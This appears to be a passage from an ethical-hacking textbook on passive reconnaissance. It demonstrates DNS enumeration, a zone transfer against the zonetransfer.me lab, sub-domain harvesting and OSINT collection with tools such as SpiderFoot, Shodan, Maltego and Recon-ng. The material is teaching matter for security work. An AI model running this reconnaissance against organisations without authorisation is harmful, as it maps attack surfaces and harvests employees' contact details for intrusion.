https://www.quad9.net/
https://www.opendns.com/
https://developers.google.com/speed/public-dns
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• TXT: This record allows the domain owner to specify a text record. Commonly used for verifi-
cation of ownership for a domain.

You’re probably wondering what learning about DNS has to do with passive reconnaissance and OSINT 
as a penetration tester. As an aspiring penetration tester, DNS enumeration is the technique of probing 
specific DNS records for a targeted domain to retrieve information about an organization’s internet-fac-
ing assets and identify any security vulnerabilities that can assist in planning a cyber-attack. Perform-
ing DNS enumeration is simply requesting the DNS records of a targeted domain from a public DNS 
server on the internet, and then analyzing the collected information to create intelligence and better 
understand how an adversary can leverage the intelligence to compromise the targeted organization.

Within Kali Linux, you will find many DNS analysis tools to help ethical hackers and penetration 
testers efficiently collect and analyze DNS records of a targeted domain. While the choice of tool 
usually depends upon the personal preference of the penetration tester, I strongly urge you to try all 
the available tools to better understand which ones work best for you.

To get started with using DNSRecon for DNS enumeration, please use the following instructions:

1. Power on the Kali Linux virtual machine and log in.
2. Next, open the Terminal and use the following commands to retrieve the DNS records for a 

targeted domain:

kali@kali:~$ dnsrecon -d microsoft.com -n 1.1.1.1

The following screenshot shows DNSRecon was able to retrieve the public DNS records for the 
Microsoft.com domain from Cloudflare’s public DNS server:

Figure 5.14: DNS enumeration

Using the -d syntax enables you to specify the targeted domain, while the -n 
syntax enables you to specify a name server to query. 
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As shown in the preceding screenshot, DNSrecon was able to retrieve various DNS records for 
the targeted domain, such as the A, NS, MX, and SOA records. An ethical hacker and penetration 
tester can leverage the information collected to identify the public IP address of additional 
assets owned by the target.

3. In addition, DNSrecon was able to enumerate the SRV records of the targeted domain, as 
shown here:

Figure 5.15: Enumerated SRV records

As shown in the preceding screenshot, the end of each line indicates the open port number 
for each service. Identifying open ports helps penetration testers determine running services 
and points of entry into a targeted system.

Having completed this exercise, you have learned how to enumerate DNS records from public DNS 
servers for a targeted domain. Next, you will learn how to exploit a vulnerable DNS server to extract 
sensitive DNS records.

Exploiting DNS zone transfer
DNS zone transfer allows the zone records from one DNS server to be copied from a master DNS server 
onto another DNS server over a network. DNS zone transfers provide redundancy such that the DNS 
records are replicated between a primary and secondary DNS server on a network and load-balancing 
DNS queries between multiple DNS servers with the same zone records. Sometimes, an IT professional 
may forget to secure their DNS server and implement security controls to prevent the zone records 
from being copied to unauthorized DNS servers. If a threat actor were to successfully perform a DNS 
zone transfer on a targeted organization, the adversary would be able to retrieve both public and private 
DNS records, which helps the attacker to identify critical systems on the internal network of the target.

In another scenario, the targeted organization may not separate their internal and external name-
spaces from each other on their DNS servers for the company. This type of misconfiguration on DNS 
servers can lead to a future DNS zone transfer attack. While nowadays, it’s less likely to discover a 
target’s DNS server with this security vulnerability, it’s still important for both ethical hackers and 
penetration testers to understand how adversaries are able to discover and exploit this security flaw.

To learn more about DNSrecon and its additional features, use the dnsrecon -h 
and man dnsrecon commands on Kali Linux.
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However, as security training is applied to almost every field within IT courses and certifications, the 
upcoming generation of IT professionals is usually made aware of this security flaw to ensure their 
systems and networks are always secure. Hence, the possibility of a poorly configured DNS server may 
be almost nonexistent since, as an aspiring penetration tester, you should leave no stone unturned 
and always test for everything within your scope of a penetration test on your target.

To get started with this exercise, please use the following instructions:

1. Power on your Kali Linux virtual machine and log in.
2. Open the Terminal and use the host command to retrieve the DNS records of zonetransfer.

me, as shown here:

Figure 5.16: Gathering DNS records

As shown in the preceding screenshot, various DNS records were retrieved, such as the A and 
MX records.

3. Next, let’s attempt to retrieve the NS records for the targeted domain. To do so, use the host 
-t ns zonetransfer.me commands, as shown here:

Figure 5.17: Retrieving name servers

To learn more about the security vulnerability within DNS zone transfer, please visit 
https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-
axfr-requests-may-leak-domain-information.

The awesome folks at DigiNinja (https://digi.ninja/) set up an amazing environment 
to better understand how to test for DNS zone transfer vulnerabilities. In addition, they 
have made their online platform free to the public so anyone can learn more about the 
security vulnerabilities of misconfigured DNS servers.

https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information
https://www.cisa.gov/news-events/alerts/2015/04/13/dns-zone-transfer-axfr-requests-may-leak-domain-information
https://digi.ninja/
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As shown in the preceding screenshot, the targeted domain has two name servers, which are 
nsztm1.digi.ninja and nsztm2.digi.ninja. We can proceed to check each of these name 
servers to determine whether they are misconfigured for unauthorized zone transfer.

4. Next, let’s query the nsztm1.digi.ninja name server to identify whether it’s vulnerable to 
DNS zone transfer and retrieve the zone records. Use the following command:

kali@kali:~$ host -l zonetransfer.me nsztm1.digi.ninja

The following is a screenshot of all the DNS records that were obtained from the nsztm1.digi.
ninja name server for the targeted domain:

Figure 5.18: Retrieving DNS records

As shown in the preceding screenshot, there are many interesting hostnames, and their cor-
responding IP addresses were retrieved. These hostnames may not be intentionally exposed 
to the internet by the targeted organization but as a result of poorly configured DNS server 
settings, they were.

5. Next, to automate the DNS analysis and perform DNS zone transfer on a targeted domain, use 
the DNSenum tool with the following commands:

kali@kali:~$ dnsenum zonetransfer.me

Be sure to query all the name servers for a given domain – sometimes, one server 
may be misconfigured even though the others are secured.
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The DNSenum tool will attempt to retrieve all DNS records for the targeted domain and will 
attempt to perform DNS zone transfer using all the name servers that are found. The following 
screenshot shows that DNSenum was able to retrieve the zone records for the targeted domain:

Figure 5.19: Zone transfer using DNSenum

DNSenum was able to retrieve additional zone records, as shown here:

Figure 5.20: DNS records

As you can imagine, the collected information can be leveraged by both adversaries and ethical hackers 
to discover additional assets that are owned by the targeted organization, and identify their hostnames 
and IP addresses.

Having completed this exercise, you have learned how to perform DNS enumeration and zone transfer 
as an ethical hacker and penetration tester. Next, you will learn how to automate OSINT collection 
using SpiderFoot.
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Automation using SpiderFoot
SpiderFoot is a popular OSINT tool that helps ethical hackers, penetration testers, and cybersecurity 
researchers automate their processes and workloads when gathering domain intelligence about their 
targets. Rather than running multiple tools or spending a lot of time using manual domain recon-
naissance techniques, SpiderFoot can reduce the time on collecting and analyzing domain-related 
information about a target. This tool provides excellent visualization of all data gathered in the form 
of graphs and tables (as we will demonstrate in this section), which helps you easily read and interpret 
the data that’s been collected.

To get started with SpiderFoot, please use the following instructions:

1. Power on the Kali Linux virtual machine and ensure it has an active internet connection.
2. Next, open the Terminal and use the following commands to launch the SpiderFoot web in-

terface:

kali@kali:~$ spiderfoot -l 0.0.0.0:1234

The following screenshot shows the execution of the preceding commands:

Figure 5.21: Running SpiderFoot

As shown in the preceding screenshot, the -l syntax specifies the IP address and port number 
for the SpiderFoot web interface, where 0.0.0.0 specifies all interfaces and 1234 is the open 
port for incoming connections to the SpiderFoot web interface.
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3. Next, open the web browser within Kali Linux and go to http://127.0.0.1:1234/ to access 
the SpiderFoot web interface, as shown here:

Figure 5.22: SpiderFoot web interface

4. Next, to automate the OSINT data collection and analysis, click on New Scan, set a Scan Name 
with a Scan Target and use the Passive option, then click on Run Scan Now:

Figure 5.23: New scan
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5. SpiderFoot begins to collect and analyze data from multiple data sources on the internet about 
the targeted organization or domain, as shown here:

Figure 5.24: SpiderFoot summary

As shown in the previous screenshot, the bars within the graph increase as more data is col-
lected for a specific category. For instance, as more email addresses are found on OSINT data 
sources, the bar that represents the email address category will rise.
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6. Select the Graph tab to view how each data point is interconnected to the target domain, as 
shown here:

Figure 5.25: SpiderFoot graph

Clicking a data point shown in the preceding screenshot reveals a domain name, sub-domain, 
hostname, email address, or URL that’s associated with the target. Each data point within the 
Graph section is commonly used by ethical hackers and penetration testers to gain a better 
visualization of the attack surface of the target and to understand what type of data is being 
leaked on the internet that can be leveraged by a threat actor.

7. Next, to view the data that was collected based on categories, click on Browse, as shown in 
the following screenshot:
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Figure 5.26: Viewing data

8. Next, click on the Internet Name category to see the data that was collected, as shown here:

Figure 5.27: Viewing Intenet name category
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As you can imagine, SpiderFoot can dig deeper until it gathers all the data about a targeted domain, 
inclusive of DNS information, formats the data into information, and converts it into intelligence that 
can be leveraged by ethical hackers and penetration testers.

Having completed this section, you have gained the hands-on experience and skills to perform do-
main and DNS reconnaissance. In the next section, you will learn how to discover sub-domains using 
OSINT techniques.

Sub-domain harvesting
Every day, search engines such as Bing, Google, and Yahoo frequently learn and index new and existing 
websites to improve their search results. If a person searches for a company’s website, you’re likely 
to discover the primary domain, such as example.com. A lot of organizations create sub-domains for 
various reasons, but as an aspiring ethical hacker and penetration tester, discovering all the possible 
sub-domains of a targeted organization can lead to finding sensitive locations and resources, such 
as login portals and unintentionally exposed corporate directories, which may contain confidential 
files and resources. 

In this section, you’ll learn how to identify sub-domains using DNSMap and Sublist3r.

Enumeration with DNSMap
DNSMap works a bit differently from the tools we looked at in the previous sections. DNSMap attempts 
to enumerate the sub-domains of a targeted parent domain by querying a built-in wordlist within Kali 
Linux. DNSMap also has the capability of querying custom wordlists to identify sub-domains of a 
target. Once a sub-domain is found, DNSMap will also attempt to resolve the IP address automatically.

To get started using DNSMap, please use the following instructions:

1. Power on the Kali Linux virtual machine and ensure it has internet connectivity.
2. Next, open the Terminal and use the following commands to install the latest version of DNS-

Map on Kali Linux:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install dnsmap

3. Next, use the following commands to automate the discovery of sub-domains for a target 
using DNSMap:

kali@kali:~$ dnsmap microsoft.com
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The following screenshot shows DNSMap is identifying the sub-domains of a targeted organi-
zation and is resolving each hostname/sub-domain to an IP address:

Figure 5.28: Discovering sub-domains

As a penetration tester, discovering the sub-domains of your target can lead to finding vulnerable web 
applications and even systems. Furthermore, such information can be used to build a better profile 
of your target.

Next, you will learn how to use another popular tool that leverages OSINT to gather the sub-domains 
of a targeted organization.

Sub-domain discovery with Knockpy
You can leverage the power of search engines to discover sub-domains by using the Knockpy tool. 
Knocky is a Python-based tool that is used to enumerate (extract/obtain) the sub-domains of a targeted 
public domain using OSINT techniques and data sources, such as search engines and other internet 
indexing platforms.

To get started using Knockpy, please use the following instructions:

1. Firstly, power on the Kali Linux virtual machine and ensure it has internet connectivity.
2. Next, open the Terminal and use the following commands to download and install the Knockpy 

application:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install -y knockpy

3. Next, use the following commands to perform sub-domain discovery on a targeted domain:

kali@kali: knockpy --recon --dns 8.8.8.8 -d microsoft.com
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The following screenshot shows the sub-domain discovery process with Knockpy:

 

Figure 5.29: Sub-domain discovery with Knockpy

Using the information that was found regarding sub-domains, penetration testers will need to check 
these sub-domains to determine where they lead, such as to a vulnerable web application or even a 
login portal for employees or customers.

Having completed this section, you have learned how to efficiently discover the sub-domains of a 
targeted organization. In the next section, you will learn how to use OSINT to identify the technical 
infrastructure of an organization.

The --recon syntax specifies to perform sub-domain enumeration, --dns syntax enables 
you to specify a custom DNS server to query, and -d specifies the targeted domain.
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Identifying organizational infrastructure
While many organizations think their network infrastructure is hidden behind their public IP address 
and that threat actors are unable to determine their internal infrastructure, threat actors use various 
OSINT techniques and tools to identify the systems and applications that are running within a targeted 
organization.

Over the next sub-sections, you will learn how organizations are leaking technical details about their 
internal network and how they can be leveraged by threat actors to improve their cyber-attacks.

Data leakage on job websites
Over the years, I’ve noticed many organizations leak a lot of data about their internal infrastructure 
and systems, which can help adversaries improve their plan of attack and identify security vulnera-
bilities within an organization by simply analyzing public information. For instance, a recruiter may 
post a vacancy on a job board or their company’s website for job seekers. Quite often, the recruiter or 
job poster provides specific technical details about the organization’s internal systems to help the job 
seeker determine whether the position is a good fit for their career development.

The following are the advantages of companies posting their technologies on recruitment websites:

• The potential candidate will have an idea of the environment and technologies they will be 
working with if they are successful during the interviewing process.

• The potential candidate can determine whether they have the skillset required for the job 
beforehand.

However, a threat actor can leverage the technical details found in a job post to determine the type 
of operating systems, applications and versions, networking, and security solutions that are running 
within the company. In addition, such information is usually public information and OSINT, which 
can be leveraged by adversaries to determine the attack surface and security vulnerabilities of the 
company. Accordingly, the following are the disadvantages of companies posting their technologies 
on recruitment websites:

• The company is leaking details about its technologies to the public, and this information can 
be leveraged by a threat actor.

• A hacker can determine the infrastructure and select exploits and tools to perform a cyber-at-
tack on the targeted organization.

As a penetration tester, when recruiters reveal such information, we can easily create a portfolio of 
the targeted organization’s internal infrastructure by identifying the operating systems of clients and 
servers, the vendor of networking devices, and the vendor of security appliances and technologies 
within the company’s network.
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To get a better understanding of developing a hacker mindset as a penetration tester, let’s look at the 
following screenshot:

Figure 5.30: The main qualifications of the ideal penetration tester candidate

As shown in the preceding screenshot, the recruiter listed the main qualifications of the ideal candi-
date. Let’s analyze the information provided by taking a closer look at the desired experience. The job 
poster is looking for someone who’s experienced in Microsoft Windows Server 2012, 2016, and 2019. 

The following can be derived from this information:

• The hiring organization has a Microsoft Windows environment with some older versions of 
Windows Server, specifically 2012 and 2016.

• There is the possibility that either the older systems or all Windows servers within the orga-
nization are not fully patched and contain security vulnerabilities.

• The organization may not have rolled out Windows Server 2019 within their network yet or is 
planning to roll out the newer version of Windows Server soon.

• The hiring company specified the vendors for their existing networking devices and security 
solutions, which are Cisco routers and switches and Fortinet firewalls. This gives the attacker 
a clear idea of the threat prevention systems that are in place. 

• The organization is also using Microsoft cloud computing services, such as Azure. Their cloud-
based servers and applications are likely to not be secure.

As an aspiring penetration tester, using your favorite search engine, you can search for known security 
vulnerabilities and learn how to exploit each of these technologies. As you have seen, the recruiter 
leaked too much data about the organization, which can also be used against that same organization 
by threat actors for malicious purposes, but also by ethical hackers and penetration testers who have 
been hired to simulate a real-world cyber-attack, who can help the organization identify how they are 
leaking data and the potential impact if the information is leveraged by a real attacker.
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Next, you will learn how to use a special internet search engine to find exposed systems from many 
organizations around the world.

Finding vulnerable systems using Shodan
Shodan is a search engine for the internet of things (IoT), systems, and networks that are directly 
connected to the internet. Ethical hackers, penetration testers, and even threat actors use Shodan to 
identify their organization’s or target’s assets, and they check whether they have been publicly exposed 
on the internet. This online tool helps cybersecurity professionals quickly determine whether their 
organization’s assets have been exposed on the internet.

To provide some additional insight, imagine that you want to determine whether your organization 
has any systems, such as servers that are accessible over the internet. These servers may include open 
service ports, vulnerable running applications, and services. Imagine that your organization has a 
legacy system running an older operating system that isn’t patched with the latest security updates 
from the vendor and is directly connected to the internet.

A penetration tester or threat actor can use an online tool, such as Shodan, to discover such systems 
without even sending a probe of any kind directly from the penetration tester’s system to the targeted 
server, simply because Shodan scans the internet by sending requests to a wide range of IP addresses, 
indexing the responses. This is an active scanning process conducted by Shodan itself, not the users 
of Shodan; it detects it automatically.

To get started using Shodan, please use the following instructions:

1. Using your web browser, go to https://www.shodan.io/ and register for an account. You can 
perform searches on Shodan without an account but the results will be very limited.

2. After creating your account, log in and use the Shodan search field to enter some keywords 
such as windows server 2008, as shown in the following screenshot:

Figure 5.31: Shodan search

https://www.shodan.io/
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As shown in the preceding screenshot, there are over 200,000 devices around the world that are 
still running the Microsoft Windows Server 2008 operating system, which are identified using 
Shodan, and these systems are directly connected to the internet. As an ethical hacker and 
penetration tester, you can use Shodan to find exposed assets that are owned by the targeted 
organization to determine the attack surface of the company. Furthermore, once you’re able to 
identify the operating systems of the target, you can research known security vulnerabilities 
for these systems.

3. Clicking on any of these systems will provide additional information about the system, such 
as open ports, running services, banners, and locale details. The following screenshot shows 
the local information of a system:

Figure 5.32: Local information of a system

As shown in the preceding screenshot, Shodan was able to retrieve the hostname, domain name, 
ISP details, autonomous system number (ASN), and locale information. Such information 
helps cybercriminals and ethical hackers determine the locality of the targeted organization 
during their reconnaissance phase.

4. Additionally, Shodan provides details on the open ports and their associated services that are 
running on the targeted system, as shown here:
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Figure 5.33: Details of open ports and their associated services

As shown in the preceding screenshot, Shodan was able to identify exposed services and ports 
on this system. Whether these ports were intentionally exposed by the organization or not, 
cybercriminals and ethical hackers can use this information to determine which services are 
running on the targeted system and determine whether there are any security vulnerabilities. 

For instance, the system is running Server Message Block (SMB) version 1, which is known 
to contain security flaws that enable an attacker to perform remote code execution (RCE) on 
the targeted system. Furthermore, Shodan was able to enumerate a valid username for the 
Remote Desktop Protocol (RDP) service that’s running on the device. Such details help the 
ethical hacker and penetration tester improve their attack and future operations aimed at 
gaining access to the target.

To learn more about service names and port numbers, please see https://www.
iana.org/assignments/service-names-port-numbers/service-names-
port-numbers.xhtml.

As an aspiring ethical hacker and penetration tester, you should know that ports 
are open on a system to allow ingress and egress traffic. Identifying open ports 
helps you to determine the entry points on a targeted system.

https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
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5. Additionally, if Shodan detects any known security vulnerabilities on the system, it will provide 
the details as shown here:

Figure 5.34: Security vulnerabilities

As shown in the preceding screenshot, Shodan provides a list of known security vulnerabilities 
with a brief description and their associated Common Vulnerabilities and Exposure (CVE) 
numbers.

As shown in the preceding steps, ethical hackers and penetration testers can leverage the search algo-
rithm of Shodan to passively collect information to identify the attack surface of their targets. Shodan 
can help you gather OSINT data without having to directly engage a target. In the next section, you 
will discover how to use another well-known tool within the industry to gather in-depth intelligence 
on systems on the internet.

Discovering exposed systems with Censys
Censys is another internet search engine that helps cybersecurity professionals and researchers 
collect and analyze information about internet-facing systems and identify their attack surface to 
better understand how a cybercriminal leverages public information such as the domain names, IP 
addresses, and digital certificates that are associated with a targeted organization.

The CVE database allows cybersecurity professionals and researchers to report and track 
security vulnerabilities at https://cve.mitre.org/. Furthermore, cybersecurity pro-
fessionals use the CVE details to create cyber threat intelligence (CTI) to improve their 
cyber defenses and mitigate new and emerging threats.

CTI contains any information about an attack or threat actor, such as indicators of com-
promise (IoCs) and the Tactics, Techniques, and Procedures (TTPs) used to perform the 
attack. To learn more about CTI, please visit https://www.techtarget.com/whatis/
definition/threat-intelligence-cyber-threat-intelligence.

https://cve.mitre.org/
https://www.techtarget.com/whatis/definition/threat-intelligence-cyber-threat-intelligence
https://www.techtarget.com/whatis/definition/threat-intelligence-cyber-threat-intelligence
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To get started working with Censys, please use the following instructions:

1. Firstly, go to https://search.censys.io/ and register for a free user account on the platform:

Figure 5.35: Censys search page

2. After registering for an account, log in and use the Search field to enter the name, IP address, 
or domain name of your targeted organization and click on Search to perform a lookup, as 
shown here:

Figure 5.36: Censys search

As shown in the preceding screenshot, a lookup was performed on Cloudflare’s DNS address. 
The results show information about the network and IP addressing, running services and open 
ports on the server, and the geolocation of the server. Such information is useful when trying 
to find the geolocation or locale data for a targeted organization.

https://search.censys.io/
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3. Next, the Explore tab provides additional information such as associations with other domain 
names, IPv4 and IPv6 addresses, and other assets owned by the organization, as shown here:

Figure 5.37: Explore view

4. The History tab allows you to view the change that occurred on the targeted system. Under-
standing what has changed helps ethical hackers and penetration testers determine whether 
there’s a vulnerability within an application or configuration. For instance, installing a new 
plugin on a web application can introduce new security vulnerabilities that can be exploited 
by a threat actor.

5. The WHOIS table provides the domain registration details and contact information about the 
owner of the domain. Sometimes, a domain owner does not pay an additional fee during the 
domain registration process to conceal their personal information. It’s common for threat 
actors and ethical hackers to identify the domain registration details to determine the owner’s 
contact details and geolocation of the organization.

Using the information gathered from Censys, ethical hackers and penetration testers can create a pro-
file of systems that are publicly available through the internet and their open ports. Such information 
can be leveraged to research security vulnerabilities and techniques to compromise those systems.

In the next section, you will learn how to automate the mapping of external systems using a passive 
reconnaissance tool such as Maltego, as it helps us to easily locate OSINT data.
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Mapping external systems using Maltego
Maltego is a graphical OSINT tool created and maintained by Maltego Technologies. This tool helps 
ethical hackers and penetration testers collect intelligence on a targeted organization’s infrastructure 
by using a graphical interactive data mining application. This application provides the ability to query 
and gather information from multiple data sources on the internet and present data in easy-to-un-
derstand graphs. These graphs provide visualizations of the relationships between each entity and 
the target, therefore helping penetration testers to identify the external attack surface or a targeted 
system, network, and organization.

To get started with using Maltego for data harvesting, please use the following instructions:

1. Go to https://www.maltego.com/ce-registration/ to register for a free Community Edition 
(CE) user account for the Maltego application.

2. Next, power on the Kali Linux virtual machine and log in.
3. On the Kali Linux desktop, open the Terminal and use the following commands to update the 

local package repository list and install Maltego:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install maltego

4. Next, click the Kali Linux icon (top-left corner) to expand the applications menu, select 1 – 
Information Gathering | OSINT Analysis | maltego, as shown here:

Figure 5.38: Information gathering

https://www.maltego.com/ce-registration/
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5. Next, the Maltego Product Selection window will appear, select Maltego CE (Free) | Run to 
launch the community edition, as shown here:

Figure 5.39: Product selection

6. Next, the Configure Maltego – License Agreement window will appear, accept the license 
agreement, and click on Next.

7. Next, the Configure Maltego – Login window appears; confirm your user credentials that were 
created during step 1, and click on Next to continue.

8. Click Next on the Login Results, Install Transforms, Help Improve Maltego, Web Browser 
Options, Privacy Mode Options, and Ready windows.

9. To start gathering information on a targeted organization, open a new graph. To do this, click 
on the Maltego icon (top-left corner), and then click on New:
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Figure 5.40: New graph

As shown in the preceding screenshot, once a new graph is created, you’ll see various types 
of entities on the left pane, while on the right side, you’ll see the Overview, Detail View, and 
Property View panes.

10. Next, to start collecting infrastructure information about a targeted organization, from the 
Entity Palette section, drag and drop the Domain entity onto the middle of the graph pane, 
as shown here:

Figure 5.41: Domain entity on the graph pane
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11. Next, double-click on the Domain entity on the graph pane to open the Details window, enter 
an organization’s domain name within the Domain Name field, and click on OK as shown here:

Figure 5.42: Domain name

12. To retrieve the target’s public DNS records, right-click on the Domain entity on the graph pane 
and select All Transforms | To DNS Name – NS (name server), as shown here:

Figure 5.43: To DNS name - NS transform
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Once the transform executes and retrieved data, Maltego populates the graph pane to show 
the name servers of the target, as shown here:

Figure 5.44: Name servers of the target

13. To retrieve the mail exchange (MX) records to identify a target’s email servers, right-click on 
the Domain entity and select All Transforms | To DNS Name – MX (mail server), as shown here:

Figure 5.45: To DNS name - MX transform
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Once Maltego retrieves the MX records from public DNS servers, the graph pane is updated 
to show the email servers of the targeted organization:

Figure 5.46: Email servers of the target

14. To retrieve the public IP address of the name servers or email servers, right-click on one of 
the entities on the graph pane and select All Transforms | To IP Address [DNS], as shown here:

Figure 5.47: IP addresses of the target

15. Next, to discover whether there’s a website that’s associated with the targeted domain, right-
click on the Domain entity and select All Transforms | To Website [Quick lookup].
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16. To retrieve the public IP addresses that are associated with the website address, right-click on 
the Website entity and select All Transforms | To IP Address [DNS], as shown here:

Figure 5.48: To Website transform

17. To retrieve a list of publicly known email addresses, which are associated with the targeted 
domain, right-click on the Domain entity and select All Transforms | To Email addresses 
[PGP], as shown here:

Figure 5.49: To Email addresses transform

18. Lastly, you can save the information collected by Maltego by clicking on the Maltego icon on 
the left corner and selecting the Save option.
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The relation-mapping feature on Maltego helps you analyze information and understand how one 
component is connected to another. Using the information that’s been collected from Maltego, you 
can determine publicly available servers, IP addresses, employees’ email addresses, linked URLs on 
web pages, and more. As you have seen, using a tool such as Maltego can help automate the process of 
gathering various types of OSINT data from multiple data sources on the internet, which helps ethical 
hackers and penetration testers reduce spending during the reconnaissance phase. 

Next, you will learn how to use Netcraft to identify the external attack surface, assets, and technologies 
of a targeted organization.

Identifying infrastructure with Netcraft
Netcraft enables ethical hackers and penetration testers to collect OSINT on targeted organizations. 
It provides capabilities that allow them to better understand the technologies, operating systems, 
applications, and locations of their internet-facing devices. 

Netcraft provides the following data types:

• Network and IP information
• IP geolocation information
• Website technologies and applications

To get started using Netcraft to profile a targeted organization/domain, please use the following in-
structions:

1. Using a standard web browser, go to https://sitereport.netcraft.com/, then enter a targeted 
domain name within the domain field, and click on LOOK UP, as shown here:

Figure 5.50: Using Netcraft

2. After a few seconds, Netcraft will automatically display all of the information it knows about 
the targeted domain and its technologies, as shown here:

https://sitereport.netcraft.com/
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Figure 5.51: Data retrieved by netcraft

As shown in the preceding screenshot, ethical hackers and penetration testers use the infor-
mation to determine the owner of the domain name, the name servers, the hosting company, 
and the public addresses of the target.

3. Next, to determine the geolocation of the targeted organization, scroll down to the SSL/TLS 
section, as shown here:

Figure 5.52: SSL/TLS section
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As shown in the preceding screenshot, Netcraft was able to collect and analyze the information 
found within the digital certificate for the targeted domain and provide the organization, state, 
and country. Such information is useful for ethical hackers when planning a physical pene-
tration test. In addition, the Subject Alternative Name field provides additional sub-domains, 
which are permitted to use this digital certificate; this data helps penetration testers identify 
additional assets that are owned by the target.

4. Next, the Site Technology section provides valuable information such as identifying the serv-
er-side and client-side technologies. This information is useful when planning a web application 
penetration test, as shown here:

Figure 5.53: Site technology section

Having completed this exercise, you have gained the knowledge of how ethical hackers are able to 
leverage Netcraft to identify the public infrastructure of a targeted organization. Next, you will learn 
how to use Recon-ng to automate data collection and analysis as an ethical hacker.

Using Recon-ng for data harvesting
Recon-ng is an OSINT reconnaissance framework written in Python. The tool itself contains a lot of 
modules for additional capabilities, a database for storing OSINT, interactive help, and a menu system, 
similar to Metasploit. Recon-ng can perform web-based, information-gathering techniques to collect 
OSINT from multiple online data sources, and it’s one of the must-have tools for any aspiring ethical 
hacker or penetration tester to have within their arsenal.

To get started using Recon-ng for data harvesting, please use the following instructions:

1. Power on the Kali Linux virtual machine and execute the following command within the 
Terminal to start Recon-ng:
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kali@kali:~$ recon-ng

2. Recon-ng uses various modules that are designed to collect and analyze data from multiple 
data sources. By default, there are no modules pre-installed on Recon-ng, therefore, use the 
following commands to install all modules from the Recon-ng marketplace:

[recon-ng][default] > marketplace install all

The following screenshot shows Recon-ng is downloading and setting up the modules:

Figure 5.54: Running Recon-ng

After the modules are installed, Recon-ng will automatically reload the newly installed modules 
and there will be a lot of warning messages that are written in red, as shown here:

Figure 5.55: Module reload

The preceding screenshot shows there are various Recon-ng modules that require an applica-
tion programming interface (API) key to authenticate and allow Recon-ng to retrieve OSINT 
from the data source.

3. Next, to view a list of supported API keys on Recon-ng, use the following commands:

[recon-ng][default] > keys list

The modules search command is used to display all current modules with Re-
con-ng and their categories, such as Discovery, Exploitation, Import, Recon, and 
Reporting.
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As shown in the following screenshot, the keys list commands allow us to view which API 
keys are supported and whether there’s already an API in use:

Figure 5.56: Keys list

4. Next, to get a supported API key, simply go to the data source such as BuiltWith at https://
builtwith.com/ and create a free user account. Once an account is created, log in and go to 
Tools | API Access to find the API key. Feel free to acquire as many API keys for each supported 
module from the list of supported APIs. 

Consider getting an API key from the following data sources:

• Hunter – https://hunter.io
• Censys – https://search.censys.io
• VirusTotal – https://www.virustotal.com
• Shodan – https://www.shodan.io/

5. Once you’ve acquired your API keys, the next step is to add each API to their API-supported 
modules. Use the keys add <API-module-name> <API key value> command. For instance, 
the following commands are used to add an API key for the builtwith_api:

[recon-ng][default] > keys add builtwith_api 12345

6. After adding your API keys, use the keys list command to verify whether the keys were added 
successfully, as shown here:

https://builtwith.com/
https://builtwith.com/
https://hunter.io
https://search.censys.io/
https://www.virustotal.com
https://www.shodan.io/
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Figure 5.57: Verifying API keys

7. As an ethical hacker and penetration tester, you may be working on multiple projects at a 
time, Recon-ng enables you to create multiple, virtual workspaces to help you better manage 
the collection and analysis of data. To create a new workspace, use the following commands:

[recon-ng][default] > workspaces create myfirstproject

8. Next, the modules search <keyword> commands enable you to search for specific modules 
based on a keyword. For instance, use the modules search whois command to view all Re-
con-ng modules that contain the whois keyword, as shown here:

Figure 5.58: modules search whois

Once a new workspace is created, Recon-ng will automatically move your working 
environment from default to your new workspace. To view a list of available 
workspaces within Recon-ng, use the workspaces list command. Additionally, 
the workspaces load <workspace-name> command allows you to select and 
work within a specific workspace, while the workspaces remove <workspace-
name> command removes a workspace from Recon-ng.
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9. Next, to use a specific module within Recon-ng, use the modules load <module-name> com-
mand. For instance, to gather a list of point of contacts (POCs) for a targeted domain on the 
internet, use the following commands:

[recon-ng][myfirstproject] > modules load recon/domains-contacts/whois_
pocs
[recon-ng][myfirstproject][whois_pocs] > info

As shown in the following screenshot, the info command prints the description and required 
options for the selected module:

Figure 5.59: modules load

10. To set the required options for the module, use the following commands to set microsoft.com 
as the SOURCE for our targeted domain:

[recon-ng][myfirstproject][whois_pocs] > options set SOURCE microsoft.com

11. Next, use the run command to execute the module, as shown here:

To unset a value within a module, use the options unset <parameter/value> 
command. Ensure that you execute the info command afterward to verify the 
value is unset/removed.

http://microsoft.com
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Figure 5.60: Executing the module

12. Next, use the back command to exit a module and modules search bing command for mod-
ules that can leverage the Bing search engine, as shown here:

Figure 5.61: modules search bing

13. Next, use the following command to load the bing_domain_web module, display its information, 
set the targeted domain, and execute the module:

[recon-ng][myfirstproject] > modules load recon/domains-hosts/google_
site_web
[recon-ng][myfirstproject][google_site_web] > info
[recon-ng][myfirstproject][google_site_web] > options set SOURCE 
microsoft.com
[recon-ng][myfirstproject][google_site_web] > run
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14. Use the show hosts command to view a list of sub-domains and hostnames that were collected 
about the target, as shown here:

Figure 5.62: Showing hosts

15. Next, use the show contacts command to view a list of contact information that was collected, 
as shown here:

Figure 5.63: Showing contacts

16. To view a summary of your activities within the myfirstproject workspace, use the dashboard 
command, as shown here:

The show command can be used with show [companies] [credentials] [hosts] 
[locations] [ports] [pushpins] [vulnerabilities] [contacts] [domains] 
[leaks] [netblocks] [profiles] [repositories] to view specific information 
that was obtained by Recon-ng. Additionally, the dashboard command provides 
a summary of all activities in Recon-ng such as showing the number of times a 
module was executed and how much data was collected.
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Figure 5.64: The dashboard command

17. Next, collecting all the data can be overwhelming to process and analyze, however, Recon-ng 
has various reporting modules to help us. Use the modules search report command to view 
a list of all reporting modules, as shown here:

Figure 5.65: modules search report

18. To generate an HTML-format report, use the following commands to set the required param-
eters and specify the output location for the final report:

[recon-ng][myfirstproject] > modules load reporting/html
[recon-ng][myfirstproject][html] > info
[recon-ng][myfirstproject][html] > options set CREATOR GLEN
[recon-ng][myfirstproject][html] > options set CUSTOMER ACME_Enterprises
[recon-ng][myfirstproject][html] > options set FILENAME /home/kali/
Desktop/myfirstproject_report.html
[recon-ng][myfirstproject][html] > run
